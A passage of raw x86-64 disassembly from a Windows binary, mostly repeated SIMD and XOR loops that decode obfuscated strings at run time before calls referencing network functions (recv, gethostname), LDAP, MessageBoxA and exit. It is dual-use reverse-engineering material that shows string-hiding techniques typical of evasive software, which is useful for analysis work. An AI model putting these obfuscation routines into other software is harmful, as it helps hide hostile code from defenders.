movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.dVFF_XV]
xorps xmm2, xmm0
movd dword [rbp + 0x14], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x18]
xorps xmm2, xmm1
movd dword [rbp + 0x18], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x14]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14006cba0
movzx edx, byte [rbp + 0x970]
lea rcx, [rbp - 0x70]
call fcn.14004cea0
nop
lea rax, [rbp + 0x14]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006cbf0
lea rdx, [rbp + 0x14]
lea rcx, [rbp - 0x70]
call fcn.14004cff0
nop
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x168]
call fcn.140079dd0
cmp rax, 0xffffffffffffffff
je 0x140075aec
mov rdi, qword [rbp - 0x60]
add rdi, 2
add rdi, rax
mov rbx, qword [rbp + 0x178]
lea rcx, [rbp + 0x168]
call fcn.140079ec0
mov r9b, 0xa
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.14007da90
sub rax, rdi
lea rcx, [rbp + 0x970]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8, rdi
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0xa0]
call fcn.14007bf60
nop
lea rdx, [rbp + 0xa0]
lea rcx, [0x140124c10]
call fcn.14007a0b0
mov eax, dword [0x1400dc984]
mov dword [rbp + 0x978], eax
movzx ecx, word [0x1400dc988]
mov word [rbp + 0x97c], cx
movzx eax, byte [0x1400dc98a]
mov byte [rbp + 0x978], 0x42
xor byte [rbp + 0x979], 0x33
xor byte [rbp + 0x97a], 0x34
xor byte [rbp + 0x97b], 0x35
xor cl, 0x36
mov byte [rbp + 0x97c], cl
xor byte [rbp + 0x97d], 0x37
xor al, 0x38
mov byte [rbp + 0x97e], al
lea rdx, [rbp + 0x978]
lea rcx, [0x140124c10]
call fcn.14007f1a0
test al, al
je 0x14006d06c
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x978]
call fcn.140056490
mov rbx, rax
cmp byte [rax + 0x13], 0
je 0x14006ceb3
mov r8d, esi
cmp r15d, 2
jl 0x14006ce6d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006cd60
cmp r8d, 0x14
jge 0x14006ceb3
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14006ce80
lea rdx, [rbp + 0x21]
lea rcx, [rbp + 0x88]
call fcn.140056450
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x14006d04f
cmp r15d, 2
jl 0x14006d01a
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x30
jl 0x14006cf10
cmp eax, 0x35
jge 0x14006d04f
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x35
jl 0x14006d020
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0xa0]
call fcn.14007a0e0
nop
lea rcx, [rbp - 0x70]
call fcn.14007a0e0
nop
lea rcx, [rbp + 0x168]
call fcn.14007a0e0
nop
lea rcx, [rbp + 0x68]
call fcn.14007a0e0
movsd xmm0, qword [str.q_th_V__]
movsd qword [rbp - 0x3c], xmm0
mov eax, dword [0x1400dd588]
mov dword [rbp - 0x34], eax
movzx eax, byte [0x1400dd58c]
mov byte [rbp - 0x30], al
mov r8d, esi
cmp r15d, 2
jl 0x14006d1ca
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.q_th_V__]
xorps xmm2, xmm0
movd dword [rbp - 0x3c], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x38]
xorps xmm2, xmm1
movd dword [rbp - 0x38], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp - 0x3c]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14006d1e0
movzx edx, byte [rbp + 0x970]
lea rcx, [rbp - 0x20]
call fcn.14004cea0
nop
lea rax, [rbp - 0x3c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006d230
lea rdx, [rbp - 0x3c]
lea rcx, [rbp - 0x20]
call fcn.14004cff0
nop
lea rcx, [rbp - 0x20]
call fcn.140049fd0
movzx ebx, al
lea rcx, [rbp - 0x20]
call fcn.14007a0e0
test bl, bl
jne 0x14006d3f0
movsd xmm0, qword [str.q_th_V__]
movsd qword [rbp - 0x3c], xmm0
mov eax, dword [0x1400dd588]
mov dword [rbp - 0x34], eax
movzx eax, byte [0x1400dd58c]
mov byte [rbp - 0x30], al
mov r8d, esi
cmp r15d, 2
jl 0x14006d396
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.q_th_V__]
xorps xmm2, xmm0
movd dword [rbp - 0x3c], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x38]
xorps xmm2, xmm1
movd dword [rbp - 0x38], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp - 0x3c]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14006d3a0
lea rdx, [rbp - 0x3c]
lea rcx, [rbp + 0xa0]
call fcn.14004cfb0
mov edx, 0x3e7
mov rcx, rax
call fcn.14004a6d0
call fcn.140043790
call fcn.1400437c0
movzx eax, word [0x1400ddc18]
mov word [rbp - 0x40], ax
movsd xmm0, qword [0x1400ddc10]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rbp - 0x48], xmm0
mov byte [rbp - 0x48], 0x54
xor byte [rbp - 0x47], 0x33
xor byte [rbp - 0x46], 0x34
xor byte [rbp - 0x45], 0x35
xor byte [rbp - 0x44], 0x36
xor byte [rbp - 0x43], 0x37
xor byte [rbp - 0x42], 0x38
xor byte [rbp - 0x41], 0x39
xor byte [rbp - 0x40], 0x3a
xor byte [rbp - 0x3f], 0x3b
xor al, 0x3c
mov byte [rbp - 0x3e], al
mov r13d, 1
mov dword [rsp + 0x20], r13d
lea r9d, [r13 + 0x3f]
mov r8d, r13d
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x770]
call fcn.1400786b0
nop
cmp qword [rbp + 0x800], 0
je 0x1400757d1
mov rax, qword [rbp + 0x770]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x770]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x140124cb0]
lea rcx, [rbp + 0x770]
call fcn.140082360
mov eax, dword [str.avbpx]
mov dword [rbp + 0x970], eax
movzx ecx, word [0x1400dcfd8]
mov word [rbp + 0x974], cx
movzx eax, byte [0x1400dcfda]
mov byte [rbp + 0x970], 0x53
xor byte [rbp + 0x971], 0x33
xor byte [rbp + 0x972], 0x34
xor byte [rbp + 0x973], 0x35
xor cl, 0x36
mov byte [rbp + 0x974], cl
xor byte [rbp + 0x975], 0x37
xor al, 0x38
mov byte [rbp + 0x976], al
lea rdx, [rbp + 0x970]
lea rcx, [0x140124cb0]
call fcn.14007f1a0
test al, al
je 0x14006d983
movups xmm0, xmmword [0x1400dd9c8]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1400dd9d8]
mov word [rbp - 0x60], ax
movzx eax, byte [0x1400dd9da]
mov byte [rbp - 0x5e], al
mov r8d, esi
cmp r15d, 2
jl 0x14006d6ac
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006d580
cmp r8d, 0x13
jl 0x14006d6ac
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006d6a0
jmp 0x14006d70a
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14006d6c0
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006d700
lea rdx, [rbp - 0x70]
lea rcx, [0x140158360]
call fcn.14007bdf0
movzx eax, word [0x1400ddc70]
mov word [rsp + 0x68], ax
movsd xmm0, qword [0x1400ddc68]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x7a
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor byte [rsp + 0x68], 0x3a
xor byte [rsp + 0x69], 0x3b
xor al, 0x3c
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006d780
lea rdx, [rsp + 0x60]
lea rcx, [0x140158380]
call fcn.14007bdf0
movups xmm0, xmmword [0x1400dd900]
movups xmmword [rbp + 0x21], xmm0
movups xmm1, xmmword [0x1400dd910]
movups xmmword [rbp + 0x31], xmm1
movups xmm0, xmmword [0x1400dd920]
movups xmmword [rbp + 0x41], xmm0
movups xmm1, xmmword [0x1400dd930]
movups xmmword [rbp + 0x51], xmm1
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x61], al
mov r8d, esi
cmp r15d, 2
jl 0x14006d91d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x25]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14006d810
cmp r8d, 0x41
jge 0x14006d963
movsxd rax, r8d
lea r9, [rbp + 0x21]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x14006d930
lea rax, [rbp + 0x21]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006d970
lea rdx, [rbp + 0x21]
jmp 0x14006ee6e
movsd xmm0, qword [0x1400dc978]
movsd qword [rbp - 0x80], xmm0
mov eax, dword [str.hyprad8]
mov dword [rbp - 0x78], eax
cmp byte [0x1400dc983], 0
je 0x14006db03
mov r8d, esi
cmp r15d, 2
jl 0x14006dab7
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400dc978]
xorps xmm2, xmm0
movd dword [rbp - 0x80], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x7c]
xorps xmm2, xmm1
movd dword [rbp - 0x7c], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14006dad0
lea rdx, [rbp - 0x80]
lea rcx, [0x140124cb0]
call fcn.14007f1a0
test al, al
je 0x14006df73
movups xmm0, xmmword [str.FWPRJ]
movups xmmword [rbp + 0x68], xmm0
movzx eax, byte [0x1400dd1b8]
mov byte [rbp + 0x78], al
mov r8d, esi
cmp r15d, 2
jl 0x14006dc9c
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x6c]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006db70
cmp r8d, 0x11
jl 0x14006dc9c
lea rax, [rbp + 0x68]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006dc90
jmp 0x14006dcfa
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14006dcb0
lea rax, [rbp + 0x68]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006dcf0
lea rdx, [rbp + 0x68]
lea rcx, [0x140158360]
call fcn.14007bdf0
movzx eax, word [0x1400de028]
mov word [rsp + 0x68], ax
movsd xmm0, qword [str.TClF]
